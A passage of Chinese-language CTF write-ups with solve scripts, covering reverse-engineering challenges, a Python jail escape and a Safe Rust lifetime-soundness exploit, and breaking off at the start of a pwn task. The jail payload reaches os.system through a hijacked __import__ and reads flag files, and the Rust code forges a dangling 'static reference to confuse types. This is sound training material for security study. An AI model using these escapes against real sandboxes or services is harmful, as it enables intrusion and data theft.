(gc)^2 = g(cgc^{-1})c^2 = g\phi(g)c^2

归纳可得:


(gc)^x = g(cgc^{-1})(c^2gc^{-2})\cdots(c^{x-1}gc^{-(x-1)})c^x
= s_{g,\phi}(x)c^x
= hc^x.

设


a = gc,

则有


a^x = hc^x.

问题在于右边也含有 x。但题目里 c 的阶非常小(最多 8),所以可以枚举


r \equiv x \pmod{\operatorname{ord}(c)}.

设


m = \operatorname{ord}(c), \quad x = r + mt.

因为 c^m=1,所以


c^x = c^r.

于是


a^{r+mt} = hc^r

两边右乘 a^{-r}:


(a^m)^t = (hc^r)a^{-r}.

这样就变成了一个普通的离散对数问题。

每轮步骤:

  1. 通过不断乘 c 恢复 ord(c),同时得到 1,c,c^2,\dots,c^{m-1}
  2. 计算 a = gc
  3. 枚举 r = 0,1,\dots,m-1
  4. 构造

    b = a^m,\quad y = (hc^r)a^{-r}

  5. 对

    b^t = y

    在区间
    0 \le t \le \lfloor(262144-r)/m\rfloor 上用 BSGS 求解
  6. 得到

    x = r + mt

    提交即可

由于 m <= 8,所以 BSGS 搜索空间很小,每轮查询数稳定低于 10000。

from pwn import *
import math
import re

HOST = "sporadiclogarithms.opus4-7.b01le.rs"
PORT = 8443
BOUND = 262144

context.log_level = "info"


def last_nonempty_line(block: str) -> str:
    lines = [line.strip() for line in block.splitlines() if line.strip() and line.strip() != "bb>"]
    if not lines:
        raise ValueError(f"empty response block: {block!r}")
    return lines[-1]


class BlackBox:
    def __init__(self, io):
        self.io = io
        self.q = 0

    def cmd(self, s: str) -> str:
        self.io.sendline(s.encode())
        return self.io.recvuntil(b"bb> ", drop=True).decode()

    def mul(self, a: int, b: int) -> int:
        self.q += 1
        return int(last_nonempty_line(self.cmd(f"mul {a} {b}")))

    def inv(self, a: int) -> int:
        self.q += 1
        return int(last_nonempty_line(self.cmd(f"inv {a}")))


def parse_round_block(block: str):
    rounds_m = re.search(r"Pass\s+(\d+)\s+rounds", block)
    group_m = re.search(
        r"group=GL\((\d+),(\d+)\)\s+one=(\d+)\s+g=(\d+)\s+c=(\d+)\s+h=(\d+)",
        block,
    )
    if not group_m:
        raise ValueError(f"failed to parse round block:\n{block}")
    p = int(group_m.group(2))
    n = int(group_m.group(1))
    one = int(group_m.group(3))
    g = int(group_m.group(4))
    c = int(group_m.group(5))
    h = int(group_m.group(6))
    rounds = int(rounds_m.group(1)) if rounds_m else None
    return rounds, n, p, one, g, c, h


def solve_round(bb: BlackBox, one: int, g: int, c: int, h: int, bound: int = BOUND) -> int:
    q0 = bb.q

    cpows = [one]
    cur = one
    while True:
        cur = bb.mul(cur, c)
        if cur == one:
            break
        cpows.append(cur)
    ord_c = len(cpows)
    log.info(f"ord(c) = {ord_c}")

    a = bb.mul(g, c)
    a_inv = bb.inv(a)

    a_inv_pows = [one]
    cur = one
    for _ in range(1, ord_c):
        cur = bb.mul(cur, a_inv)
        a_inv_pows.append(cur)

    b = one
    for _ in range(ord_c):
        b = bb.mul(b, a)

    max_t = bound // ord_c
    m = math.isqrt(max_t) + 1
    log.info(f"BSGS on t with max_t={max_t}, m={m}")

    table = {one: 0}
    cur = one
    for j in range(1, m):
        cur = bb.mul(cur, b)
        table.setdefault(cur, j)
    log.info(f"built {len(table)} baby steps")

    b_m = bb.mul(cur, b)
    factor = bb.inv(b_m)

    for r in range(ord_c):
        target = bb.mul(h, cpows[r])
        if r:
            target = bb.mul(target, a_inv_pows[r])
        gamma = target
        limit_t = (bound - r) // ord_c
        log.info(f"trying residue r={r} with limit_t={limit_t}")
        for i in range(m + 1):
            j = table.get(gamma)
            if j is not None:
                t = i * m + j
                if t <= limit_t:
                    x = r + ord_c * t
                    log.info(f"queries used this round: {bb.q - q0}")
                    return x
            gamma = bb.mul(gamma, factor)

    raise RuntimeError("no solution found")


def main():
    io = remote(HOST, PORT, ssl=True, sni=HOST)
    bb = BlackBox(io)

    block = io.recvuntil(b"bb> ").decode()
    rounds, n, p, one, g, c, h = parse_round_block(block)
    if rounds is None:
        rounds = 5
    log.info(f"rounds={rounds}, group=GL({n},{p})")

    for ridx in range(1, rounds + 1):
        _, n, p, one, g, c, h = parse_round_block(block)
        log.info(f"solving round {ridx}/{rounds}")
        x = solve_round(bb, one, g, c, h, BOUND)
        log.success(f"x = {x}")

        io.sendline(f"submit {x}".encode())
        if ridx < rounds:
            block = io.recvuntil(b"bb> ").decode()
            if "correct" not in block:
                log.failure(block)
                return
        else:
            print(io.recvall(timeout=2).decode())


if __name__ == "__main__":
    main()

Reverse

tiles + ai

file chall
strings -a chall | grep -E 'incorrect|flag|CPU'

能看到这些关键字符串:

  • Cannot run on this CPU
  • incorrect
  • flag.txt
  • flag{fake_flag}

其中 flag{fake_flag} 是烟雾弹,不是真 flag。

主逻辑在 0x401180 附近。开头先做 CPU/特性检查,失败直接打印:

Cannot run on this CPU

然后退出。

也就是说这题的难点不是“交互协议”,而是把 AMX 那段逻辑逆出来。

看 0x401366 开始的输入解析。

程序每次读一行,之后按 2 个字符一组处理:

  • 第 1 个字符:hex digit,允许 0-9 a-f A-F
  • 第 2 个字符:只能是 0-3

也就是说每个 token 的形式都是:

[0-9a-fA-F][0-3]

总共 16 × 4 = 64 种 token。

如果字符不合法,或者输入长度是奇数,直接 incorrect。

所以本题本质上不是“随便输字符串”,而是在一个 64 符号字母表上找一条可行路径。

反汇编里能直接看到这些指令:

  • ldtilecfg
  • tileloadd
  • tdpbssd
  • tilestored
  • tilerelease

说明程序在用 Intel AMX 做矩阵乘法。

从地址和大小能看出程序把状态和转移表全硬编码在二进制里:

  • 0x40f800:3 轮的初始状态,每轮 0x300 字节
  • 0x409000:16 个 16×16 选择矩阵
  • 0x40a000:16 个 16×16 辅助矩阵
0x40b000

:72 个

16×16

转移矩阵因为:

  • 第一字符高 1 bit:2 种
  • 第二字符:4 种
  • 每次状态更新是 3×3 block 组合
    总数正好
    2 × 4 × 3 × 3 = 72

程序运行时的两个主要状态缓冲区:

  • 0x412270:current state
  • 0x412570:next state

每轮开始时会把对应初始状态从 0x40f800 + round*0x300 拷到 0x412270。

题目名叫 tiles + ai,一开始很容易被“矩阵乘法”带偏,以为是什么神经网络推理。

但把后面的检查逻辑看完就知道不是。在 0x401b16 ~ 0x401c50,程序按 16 字节一行去扫状态矩阵的前 0x240 字节,也就是前 36 行。

每行把 16 个字节加起来,要求:

row_sum < 2

也就是每一行最多只能有一个激活位置。

这个约束非常像:

  • NFA 子集状态
  • 稀疏 one-hot / near one-hot 状态
  • 自动机状态传播

而不像普通神经网络输出。

在 0x401c84,程序检查:

*(byte *)0x412380 == 1

而 0x412380 - 0x412270 = 0x110,也就是当前状态矩阵里的一个固定目标单元。

如果这个位置是 1,且上面的确定性约束也成立,这一轮就算过。

每个 token 都会执行一遍 0x40142b ~ 0x401ae7 的 AMX 更新逻辑。

把它按语义看,就是:

  • 当前状态是一个 3 × (16×16) 的 block 状态
  • 每个 2 字符 token 选择一组矩阵
  • 用 AMX 做 block 矩阵更新
  • 生成新的 3 × (16×16) 状态
  • 然后把 next state 覆盖回 current state

所以可以把它理解成:

state = init_state[round]

for tok in tokens:
    state = step(state, tok)

ok = (state[target] == 1) and deterministic(state)

其中 step() 就是把 0x40142b ~ 0x401ae7 逐指令翻译成 Python/NumPy。

这题最容易犯的错就是:只盯着“目标位是不是 1”。

我一开始也踩了这个坑。

后来重新看 0x401b16 ~ 0x401c50 才发现,命中目标位还不够,还必须满足“前 36 行每行和 < 2”。

所以正确做法不是“随便找条能打到目标位的路径”,而是:

  • 重新实现完整 step()
  • 每走一步都保留整张状态矩阵
  • 最后一起检查目标位 + 确定性约束

有了 step(state, token) 之后,这题就从“AMX 逆向”变成了“图搜索”。

  • token 只有 64 种
  • 状态虽然是 0x300 字节,但非常稀疏
  • 行和约束很强,能大量剪枝

所以最自然的方法就是对每一轮分别做 BFS:

  • 起点:该轮初始状态
  • 边:64 个 token
  • 转移:state' = step(state, token)
  • 剪枝:丢掉明显非法状态
  • 终点:满足目标位命中 + 确定性检查

这样直接搜最短串。

最后得到三轮输入分别是:

0> 01e2e210f3f3f3010101
1> 01f320e201
2> 0120a2a2c231f2f2f2109393019311e320b211e3e300e31010923092921111c311d230e23030d310f3209201e2e210b3b3b30101

连远端后依次输入,程序会吐出真正的 flag:

bctf{in_the_matrix_straight_up_multiplying_it_ec3428a06}
from pwn import *

HOST = "tiles--ai.opus4-7.b01le.rs"
PORT = 8443

answers = [
    b"01e2e210f3f3f3010101",
    b"01f320e201",
    b"0120a2a2c231f2f2f2109393019311e320b211e3e300e31010923092921111c311d230e23030d310f3209201e2e210b3b3b30101",
]

context.log_level = "debug"

io = remote(HOST, PORT, ssl=True, sni=HOST)

for i, ans in enumerate(answers):
    io.recvuntil(f"{i}> ".encode())
    io.sendline(ans)

io.interactive()

Favorite Potato

题目给了一个远端服务:

ncat --ssl favorite-potato.opus4-7.b01le.rs 8443

连上以后先看到菜单:

Choose:
T)est challenge
R)eal challenge
> 

这里最关键的一点是:只能先输入 T 或 R 这样的单字符菜单选项。之前乱输 help、1 之类会直接 goodbye! 断开。

选 R 之后,服务端会输出 20 组这种东西:

Final output #1: A=... X=... Y=...
Final output #2: A=... X=... Y=...
...
Input #1 - A,X,Y:

也就是说它告诉你的是 最终寄存器状态 (A, X, Y),然后让你反推出 初始输入 (A0, X0, Y0)。

测试分支 T 也是同理,只不过用的是测试程序。

所以本质上这是一个:已知某个 6502/土豆机程序对 (A,X,Y) 做了一大串变换,只给最终结果,要求逆回去。

解压后能看到核心文件是:

  • test.bin测试.bin
  • code.bin.gz

实际做题时,R)eal challenge 用的是 code.bin.gz 里的程序。

它不是普通 ELF,而是一段 6502 程序。前两个字节是 PRG load address,所以先要去掉:

with gzip.open("code.bin.gz", "rb") as f:
    raw = f.read()
code = raw[2:]

后面的代码非常长,但其实并不是“复杂算法”,而是很多重复的小代码块拼起来。

虽然程序非常长,但拆开后会发现它实际上只是在反复做一些可逆的小操作。

我把 code.bin.gz 中的字节模式匹配成了以下高层操作:

  • swapAX:交换 A 和 X
  • swapAY:交换 A 和 Y
  • swapXY:交换 X 和 Y
  • addX_A:addX_A :X += A_X += A`
  • addY_A:Y += A``addY_A : Y += A
  • addA_c:A += 常数
  • xorA_c:A ^= 常数
  • xorAY:A ^= Y``xorAY : A ^= Y
  • rorA_k:A = ROR(A, k),逆操作就是 ROL(A, k)

所以虽然总共有 250000+ 个小片段,但本质就是:把 (A, X, Y) 经过一串可逆操作变成最终输出

那么只要:

  1. 先把整段程序解析成一串高层操作
  2. 再从最后一步往前逆推

就能得到输入。

这些操作全都容易逆:

swapAX   的逆还是 swapAX
swapAY   的逆还是 swapAY
swapXY   的逆还是 swapXY

如果正向是:

X = (X + A) mod 256

那么逆向就是:

X = (X - A) mod 256

同理:

Y += A   ->   Y -= A
A += c   ->   A -= c

XOR 自反:

A ^= c   ->   再做一次 A ^= c
A ^= Y   ->   再做一次 A ^= Y

如果正向是 ROR(A, k),那逆向就是 ROL(A, k)。

这题最烦的地方不是数学,而是:要把超长 6502 字节流认出来到底是哪种小操作。

例如我匹配出的几个模板:

T_SWAP_AX = bytes.fromhex("08488a48bae89a68ca9aaa682828")
T_ADDX_A  = bytes.fromhex("0848e838e901d0fa6828")
T_ADDY_A  = bytes.fromhex("0848c838e901d0fa6828")
T_SWAP_AY = bytes.fromhex("084898488a48bae8e89a68a8caca9a68aa682828")
T_SWAP_XY = bytes.fromhex("08488a4898aa68a86828")

然后按顺序扫描整段 code.bin.gz,识别出每一个小操作,转成高层 op 列表。

最终解析结果是:

[+] parsed 250001 ops

也就是说整段程序实际上就是 25 万多个简单可逆步骤。

#!/usr/bin/env python3
from __future__ import annotations

import gzip
import os
import re
from typing import List, Tuple

from pwn import remote, context

HOST = "favorite-potato.opus4-7.b01le.rs"
PORT = 8443
ROUNDS = 20

context.log_level = "info"

T_SWAP_AX = bytes.fromhex("08488a48bae89a68ca9aaa682828")
T_ADDX_A  = bytes.fromhex("0848e838e901d0fa6828")
T_ADDY_A  = bytes.fromhex("0848c838e901d0fa6828")
T_SWAP_AY = bytes.fromhex("084898488a48bae8e89a68a8caca9a68aa682828")
T_SWAP_XY = bytes.fromhex("08488a4898aa68a86828")
T_XOR_Y   = bytes.fromhex(
    "084898488a48bae89a684a9006a868490148984a9006a868490248984a9006a86849044898"
    "4a9006a868490848984a9006a868491048984a9006a868492048984a9006a868494048984a"
    "9006a86849804898ca9a68aa68a86828"
)

Op = Tuple[str, int | None]


def rol8(x: int, k: int) -> int:
    k &= 7
    if k == 0:
        return x & 0xFF
    return ((x << k) & 0xFF) | ((x & 0xFF) >> (8 - k))


def load_code_stream() -> bytes:
    with gzip.open("code.bin.gz", "rb") as f:
        raw = f.read()
    return raw[2:]   # strip 2-byte PRG load address


def parse_ops(data: bytes) -> List[Op]:
    ops: List[Op] = []

    # prefix: ADC #imm ; PLP
    if len(data) < 3 or data[0] != 0x69 or data[2] != 0x28:
        raise ValueError("Unexpected prefix")
    ops.append(("addA_prefix", data[1]))
    i = 3
    n = len(data)

    while i < n:
        if data.startswith(T_SWAP_AX, i):
            ops.append(("swapAX", None))
            i += len(T_SWAP_AX)
        elif data.startswith(T_ADDX_A, i):
            ops.append(("addX_A", None))
            i += len(T_ADDX_A)
        elif data.startswith(T_ADDY_A, i):
            ops.append(("addY_A", None))
            i += len(T_ADDY_A)
        elif data.startswith(T_SWAP_AY, i):
            ops.append(("swapAY", None))
            i += len(T_SWAP_AY)
        elif data.startswith(T_SWAP_XY, i):
            ops.append(("swapXY", None))
            i += len(T_SWAP_XY)
        elif data.startswith(T_XOR_Y, i):
            ops.append(("xorAY", None))
            i += len(T_XOR_Y)
        elif (
            i + 26 <= n
            and data[i:i+8] == bytes.fromhex("08488a48bae89a68")
            and data[i+8] == 0xA2
            and data[i+10:i+26] == bytes.fromhex("4a90020980cad0f848baca9a68aa6828")
        ):
            ops.append(("rorA_k", data[i+9]))
            i += 26
        elif i + 4 <= n and data[i] == 0x08 and data[i+1] == 0x49 and data[i+3] == 0x28:
            ops.append(("xorA_c", data[i+2]))
            i += 4
        elif (
            i + 5 <= n
            and data[i] == 0x08
            and data[i+1] == 0x18
            and data[i+2] == 0x69
            and data[i+4] == 0x28
        ):
            ops.append(("addA_c", data[i+3]))
            i += 5
        elif i + 1 == n and data[i] == 0x60:
            ops.append(("rts", None))
            i += 1
        else:
            raise ValueError(f"Parse failed at offset {i}: {data[i:i+32].hex()}")

    return ops


def invert_one(out_triplet: Tuple[int, int, int], ops: List[Op], carry0: int) -> Tuple[int, int, int]:
    a, x, y = out_triplet

    for name, arg in reversed(ops[:-1]):   # skip rts
        if name == "addA_prefix":
            a = (a - int(arg) - carry0) & 0xFF
        elif name == "swapAX":
            a, x = x, a
        elif name == "swapAY":
            a, y = y, a
        elif name == "swapXY":
            x, y = y, x
        elif name == "addX_A":
            x = (x - a) & 0xFF
        elif name == "addY_A":
            y = (y - a) & 0xFF
        elif name == "xorAY":
            a ^= y
        elif name == "xorA_c":
            a ^= int(arg)
        elif name == "addA_c":
            a = (a - int(arg)) & 0xFF
        elif name == "rorA_k":
            a = rol8(a, int(arg))
        else:
            raise ValueError(f"Unknown op: {name}")

    return a, x, y


def parse_outputs(blob: bytes):
    pat = re.compile(rb"Final output #\d+: A=(\d+) X=(\d+) Y=(\d+)")
    vals = [(int(a), int(x), int(y)) for a, x, y in pat.findall(blob)]
    if len(vals) != ROUNDS:
        raise ValueError(f"expected {ROUNDS} outputs, got {len(vals)}")
    return vals


def attempt(carry0: int, ops: List[Op]) -> bytes:
    io = remote(HOST, PORT, ssl=True)
    io.recvuntil(b"> ")
    io.sendline(b"R")

    blob = io.recvuntil(b"Input #1 - A,X,Y:")
    outs = parse_outputs(blob)
    answers = [invert_one(t, ops, carry0) for t in outs]

    io.sendline(f"{answers[0][0]},{answers[0][1]},{answers[0][2]}".encode())
    for i in range(2, ROUNDS + 1):
        io.recvuntil(f"Input #{i} - A,X,Y:".encode())
        a, x, y = answers[i - 1]
        io.sendline(f"{a},{x},{y}".encode())

    return io.recvall(timeout=2)


def main():
    data = load_code_stream()
    ops = parse_ops(data)
    print(f"[+] parsed {len(ops)} ops")

    for carry0 in (0, 1):
        print(f"[+] trying initial carry = {carry0}")
        tail = attempt(carry0, ops)
        print(tail.decode(errors="replace"))
        if b"flag" in tail.lower() or b"bctf{" in tail.lower():
            break


if __name__ == "__main__":
    main()
bctf{Nev3r_underst00d_why_we_n33d_TSX_and_TXS_unt1l_n0w..:D}

indirect-memory-access

这题是个 GBA ROM。表面提示是 DMA,实际校验也确实不是普通字符串比较,而是把输入编码成一串 bit,再丢进一个用 DMA 副作用拼出来的布尔电路里做检查。

ROM 入口初始化之后,会进入输入函数 0x080015b4。

这里有几个很关键的点:

  • 0x08001b48:扫描按键状态
  • 0x08001bd0:取“新按下”的按键
  • 0x0300009c:当前已经写入了多少个 bit
  • 0x030000a0:输入 bitstream 缓冲区
  • 0x08008ba4:按键字符表

直接看 0x080015f6 之后那段循环,会发现它不是把按键字符直接存下来,而是把“按键 mask”一位一位右移,然后每轮把 r0 << 15 的低 16 位写进 0x030000a0。

这意味着:

  • 当前最低位如果是 0,就写 0x0000
  • 当前最低位如果是 1,就写 0x8000

而 GBA 按键返回的是单 bit 的 mask,也就是 1 << k 这种形式,所以一个按键会被编码成:

  • 前面 k 个 0
  • 最后 1 个 1

也就是 unary 编码。

字符表在 0x08008ba4:

absSRLUDrl

索引和字符对应关系就是:

  • 0 -> a
  • 1 -> b
  • 2 -> s
  • 3 -> S
  • 4 -> R
  • 5 -> L
  • 6 -> U
  • 7 -> D
  • 8 -> r
  • 9 -> l

因为一个按键 1<<k 会编码成长度 k+1 的一段(k 个 0 再跟一个 1),所以:

  • 段长 1 -> a
  • 段长 2 -> b
  • 段长 3 -> s
  • ...
  • 段长 10 -> l

这就是最后把 128 位输入还原回按钮串的方法。

ROM 里其实还藏了一个很明显的提示字符串:

  • 0x08008d9c:Press Button:
  • 0x08008db1:flag is 'bctf{<above chars>}'

这句的意思很直接:

只要按键串求出来,直接套进 bctf{} 就是 flag。

也就是说,这题不需要再做二次变换,关键就是把合法按键序列解出来。

输入满 128 个 bit 之后,会调用 0x08000310 校验。

这个函数很长,但结构非常统一:

  • 从 0x030000a0 取两个输入 bit
  • 调一个黑盒函数
  • 把结果存到栈上
  • 后面继续拿栈上的中间结果做下一层组合

所以它本质上是一个很大的 组合逻辑网络。

最关键的是调用点:

  • 0x080015b2 只是 bx r5
  • 在 0x08000310 里,r5 = 0x03000025

也就是说,真正的黑盒函数在 IWRAM 里。

而这个 IWRAM 代码是启动时从 ROM 里的 0x0800d01c..0x0800d078 拷进去的。把那段代码反汇编后可以看到它直接操作:

  • 0x040000ba
  • 0x040000c6
  • 0x040000de

这些就是 DMA 控制寄存器相关位置。

也就是:程序把两个输入 bit 塞进 DMA 配置,用 DMA 的行为当成一个 2 输入布尔门来用。

所以整题标题叫 indirect-memory-access,核心就是这个。

手推这几百个门没意义,最稳的方法是:

  1. 静态提取 0x08000310 里的数据流
  2. 把每次 bl 0x080015b2 抽象成一个 2 输入 1 输出门
  3. 把整个函数还原成 DAG
  4. 从最终输出反推 128 个输入 bit
  5. 再把 bitstream 按 unary 规则切段,映射回 absSRLUDrl

exp:

#!/usr/bin/env python3
import sys
from pathlib import Path

# Recovered 128-bit satisfying assignment for the DMA-built boolean circuit.
# Each press is encoded as unary: 0*index + 1.
SOLVED_BITS_HEX = '8bb6f59c53e41842e03e0287661d28d9'
HINT = b"flag is 'bctf{<above chars>}'"


def bits_from_hex(hex_s: str, nbits: int = 128):
    raw = bytes.fromhex(hex_s)
    if len(raw) * 8 != nbits:
        raise ValueError('wrong bit length')
    out = []
    for b in raw:
        for i in range(7, -1, -1):
            out.append((b >> i) & 1)
    return out


def find_charset(rom: bytes) -> str:
    # The ROM contains the button alphabet directly.
    needle = b'absSRLUDrl'
    off = rom.find(needle)
    if off == -1:
        raise RuntimeError('button charset not found in ROM')
    return needle.decode()


def decode_unary(bits, charset: str) -> str:
    out = []
    i = 0
    n = len(bits)
    while i < n:
        z = 0
        while i < n and bits[i] == 0:
            z += 1
            i += 1
        if i >= n or bits[i] != 1:
            raise ValueError('invalid unary stream: missing terminator 1')
        if z >= len(charset):
            raise ValueError(f'invalid unary stream: index {z} out of range')
        out.append(charset[z])
        i += 1
    return ''.join(out)


def encode_unary(s: str, charset: str):
    out = []
    for ch in s:
        idx = charset.index(ch)
        out.extend([0] * idx)
        out.append(1)
    return out


def main():
    rom_path = Path(sys.argv[1]) if len(sys.argv) > 1 else Path('chal.gba')
    rom = rom_path.read_bytes()

    charset = find_charset(rom)
    if HINT not in rom:
        print('[!] warning: hidden hint string not found, but continuing')

    bits = bits_from_hex(SOLVED_BITS_HEX, 128)
    presses = decode_unary(bits, charset)
    assert encode_unary(presses, charset) == bits
    assert sum(charset.index(c) + 1 for c in presses) == 128

    flag = f"bctf{{{presses}}}"
    print('[+] charset :', charset)
    print('[+] presses :', presses)
    print('[+] flag    :', flag)


if __name__ == '__main__':
    main()
aSbaabababaaabbasaaSbsaaaasLaRRbaaDaaaaDbRaabasaRaabsbSaba

因为每个字符对应一段 unary,段长分别是 1..10。

所以最终字符串必须满足:

chars = "absSRLUDrl"
s = "aSbaabababaaabbasaaSbsaaaasLaRRbaaDaaaaDbRaabasaRaabsbSabas"
assert sum(chars.index(c) + 1 for c in s) == 128

这个串刚好满足总长度 128 bit,所以和主逻辑完全对上。

这题的关键不是 GBA 图形,也不是普通按键判断,而是两步:

  1. 发现输入是 按钮 -> unary bitstream
  2. 发现校验是 DMA 黑盒门电路

一旦把 0x08000310 当成布尔网络去看,题目就清晰了;再加上 ROM 里直接给了 flag is 'bctf{<above chars>}',最后只需要把求出来的按钮串包进花括号。

最终答案:

bctf{aSbaabababaaabbasaaSbsaaaasLaRRbaaDaaaaDbRaabasaRaabsbSabas}

jail

build-a-builtin

题目给了一个远程 Python jail:

#!/usr/local/bin/python3
import builtins

code = input("code > ")

if "." in code:
    print("Nuh uh")
    exit(1)

def set_builtin(key, val):
    builtins.__dict__[key] = val

exec = exec
builtins.__dict__.clear()
exec(code, {"set_builtin": set_builtin}, {})

远程连接:

ncat --ssl build-a-builtin.opus4-7.b01le.rs 8443

这题的限制很直接:

  1. 只能输入 一行,因为用的是 input()。
  2. 输入里 不能出现 .。
  3. builtins.__dict__.clear() 把内建全清空了。
  4. 但给了我们一个函数:
def set_builtin(key, val):
    builtins.__dict__[key] = val

也就是说,虽然 builtins 被清了,但我们还有一个“往 builtins 里塞东西”的后门。

执行环境是:

exec(code, {"set_builtin": set_builtin}, {})

此时我们输入的代码运行在一个只有 set_builtin 的 globals 里。

但 set_builtin 是一个函数对象,而函数对象自带:

set_builtin.__globals__

这个东西指向它定义时所在模块的全局命名空间,也就是 chall.py 自己的 globals。
只要我们能拿到它,就能取到:

  • builtins
  • exec
  • __loader__
  • 其他 chall.py 里原本的对象

问题在于:不能写点号,所以不能直接写:

set_builtin.__globals__

Python 的 import 语句底层会调用 __import__。
而当前
builtins 虽然空了,但我们可以先用 set_builtin 塞一个假的 __import__ 进去。

构造:

set_builtin('__import__', lambda *a: set_builtin)

这样以后执行:

from x import __globals__ as g

解释器会做的事情相当于:

  • 调 __import__('x', ..., ('__globals__',), ...)
  • 返回我们伪造的对象,也就是 set_builtin
  • 然后取它的 __globals__
  • 绑定到名字 g

于是我们就得到了:

g = set_builtin.__globals__

这是本题最核心的一步。

题目里还有一行:

exec = exec

所以 chall.py 的全局字典 g 里,仍然保留了一个可用的 exec。

于是可以:

g['exec']("第二阶段代码")

这里有个关键绕过点:

  • 过滤只检查首次输入的代码里有没有 .
  • 但字符串内容不会再被这个过滤重新检查

所以第二阶段字符串里可以把 . 写成:

\x2e

这样首层输入里没有原始点号,但运行到第二阶段时仍会被解释成 .。

一开始我试过经典链:

(1).__class__.__mro__[1].__subclasses__()

去找 catch_warnings 再取 sys.modules,但远程环境里这条链不稳定,直接 IndexError 了。

后来换成了更稳的链:

g['__loader__'].__class__.get_data.__globals__['_os']

原因是这题是脚本运行,__loader__ 一般是 SourceFileLoader。
它的方法
get_data 所在模块的 globals 里天然会有 _os,也就是底层 os/posix 模块。

这样就能直接:

system("sh -c \"cat /flag-*\"")

单行版 payload:

set_builtin('__import__',lambda *a:set_builtin);from x import __globals__ as g;g['exec']("g['__loader__']\x2e__class__\x2eget_data\x2e__globals__['_os']\x2esystem('sh -c \"cat /flag-*\"')")
from pwn import *

HOST = "build-a-builtin.opus4-7.b01le.rs"
PORT = 8443

context.log_level = "info"

payload = r"""set_builtin('__import__',lambda *a:set_builtin);from x import __globals__ as g;g['exec']("g['__loader__']\x2e__class__\x2eget_data\x2e__globals__['_os']\x2esystem('sh -c \"cat /flag-*\"')")"""

assert "." not in payload
assert "\n" not in payload

io = remote(HOST, PORT, ssl=True)
io.recvuntil(b"code > ")
io.sendline(payload.encode())

out = io.recvall(timeout=3).decode("latin1", "replace")
print(out)

io.close()

远程回显:

bctf{congratulations_ctf_agent_6_from_solver_swarm_2_for_solving_this_challenge}

blazinglyfast

题目给了一个 Rust jail,远端会让我们提交:

pub fn jail(input: In) -> Out { ... }

的函数体,然后编译运行。目标不是 RCE,而是想办法让程序最后打印出正确 token,从而拿到 flag。

题目的本质是:

  • 服务端先生成一个 In
  • 我们写 jail(input: In) -> Out
  • 返回值会被服务端拿去做校验
  • 如果这个 Out 里字段都对,程序就会输出 token
  • 外层再比对 token 是否完全一致,成功则给 flag

也就是说,我们需要把 input: In 伪装成 Out 返回。

正常情况下这当然不行,因为:

  • In 和 Out 是不同类型
  • 不能 transmute
  • 不能 unsafe
  • 题目强调只能用 Safe Rust

所以突破口只能是:Safe Rust soundness bug。

这里利用的是 Rust 老著名问题:

nested reference + implied bounds 的生命周期 soundness hole(#25860)

简单说,就是可以通过一个高阶生命周期技巧,伪造出一个本来不该存在的 'static 引用。

一开始尝试的是旧写法,大概类似:

fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T { v }
fn bad<'a, T>(x: &'a T) -> &'static T {
    let f: fn(_, &'a T) -> &'static T = foo;
    f(UNIT, x)
}

这个现在已经被 rustc 挡了,会报:

lifetime may not live long enough
type annotation requires that `'a` must outlive `'static`

所以得换成仍然能过编译的高阶版本。

关键构造是多塞一个参数,写成:

fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T, _: &()) -> &'a T { v }

然后:

let f: fn(_, &'a T, &()) -> &'static T = foo;

这样就能绕出假的 'static 引用。

提交给服务端的 jail 函数体如下:

fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T, _: &()) -> &'a T { v }
static UNIT: &'static &'static () = &&();

fn bad<'a, T>(x: &'a T) -> &'static T {
    let f: fn(_, &'a T, &()) -> &'static T = foo;
    f(UNIT, x, &())
}

fn never(_: In) -> Out { loop {} }
fn id(x: In) -> In { x }

let rf = {
    let f: fn(In) -> Out = core::hint::black_box(never as fn(In) -> Out);
    core::hint::black_box(bad(&f))
};

let f: fn(In) -> In = core::hint::black_box(id as fn(In) -> In);
core::hint::black_box(&f);

let g: fn(In) -> Out = *core::hint::black_box(rf);
g(input)
let rf = {
    let f: fn(In) -> Out = core::hint::black_box(never as fn(In) -> Out);
    core::hint::black_box(bad(&f))
};

这里 bad(&f) 理论上返回的是 &'static fn(In) -> Out,
但实际上它引用的是局部变量
f,离开作用域就悬空了。

也就是说,rf 是一个假的 static 引用。

let f: fn(In) -> In = core::hint::black_box(id as fn(In) -> In);
core::hint::black_box(&f);

接着声明另一个局部变量 f。
由于函数指针大小一致,编译器/栈复用后,这个槽位很可能覆盖前面那块内存。

于是原来 rf 指向的位置,现在装的就不是 fn(In)->Out 的 never,而是:

fn(In) -> In

的 id。

let g: fn(In) -> Out = *core::hint::black_box(rf);
g(input)

这里把覆盖后的函数指针按 fn(In)->Out 解释并调用。

实际执行的是 id(input),返回的还是 In 的原始字节;
但调用点把这些字节当成
Out 来看。

于是就完成了:

In  ->  Out

的 Safe Rust 伪造。

from pwn import *

HOST = "blazinglyfast.opus4-7.b01le.rs"
PORT = 8443

payload = r"""
fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T, _: &()) -> &'a T { v }
static UNIT: &'static &'static () = &&();

fn bad<'a, T>(x: &'a T) -> &'static T {
    let f: fn(_, &'a T, &()) -> &'static T = foo;
    f(UNIT, x, &())
}

fn never(_: In) -> Out { loop {} }
fn id(x: In) -> In { x }

let rf = {
    let f: fn(In) -> Out = core::hint::black_box(never as fn(In) -> Out);
    core::hint::black_box(bad(&f))
};

let f: fn(In) -> In = core::hint::black_box(id as fn(In) -> In);
core::hint::black_box(&f);

let g: fn(In) -> Out = *core::hint::black_box(rf);
g(input)
""".strip()

io = remote(HOST, PORT, ssl=True)
print(io.recvuntil(b"EOF'.\n").decode(errors="ignore"))

io.sendline(payload.encode())
io.sendline(b"EOF")

print(io.recvall(timeout=5).decode(errors="ignore"))
bctf{1mpl1ed_b0unds_on_n3st3d_ref3rence5_25860}

pwn

transmutation

附件里核心程序逻辑很简单:程序会让我们输入两个数:

  • 一个地址 where
  • 一个字节 what

然后执行:

*where = what;

但它加了一个限制:只能改写 [chall, main) 这段代码区里的 一个字节,写完以后函数就直接结束并返回。

也就是说,表面上这题只给了我们一次:

  • 任意地址(受限在一小段代码区内)
  • 任意 1 字节写

这看起来很弱,但如果能把这一次 1-byte patch 变成“让程序再次回到自己”,那就能把“一次写”扩展成“无限次写”,之后整段代码都能被我们慢慢改成想要的样子。

所以核心问题就变成:如何只改 1 个字节,让 chall() 在结束时不要正常返回,而是重新回到 chall() 附近继续执行?

核心函数大致是这样:

chall:
  push rbp
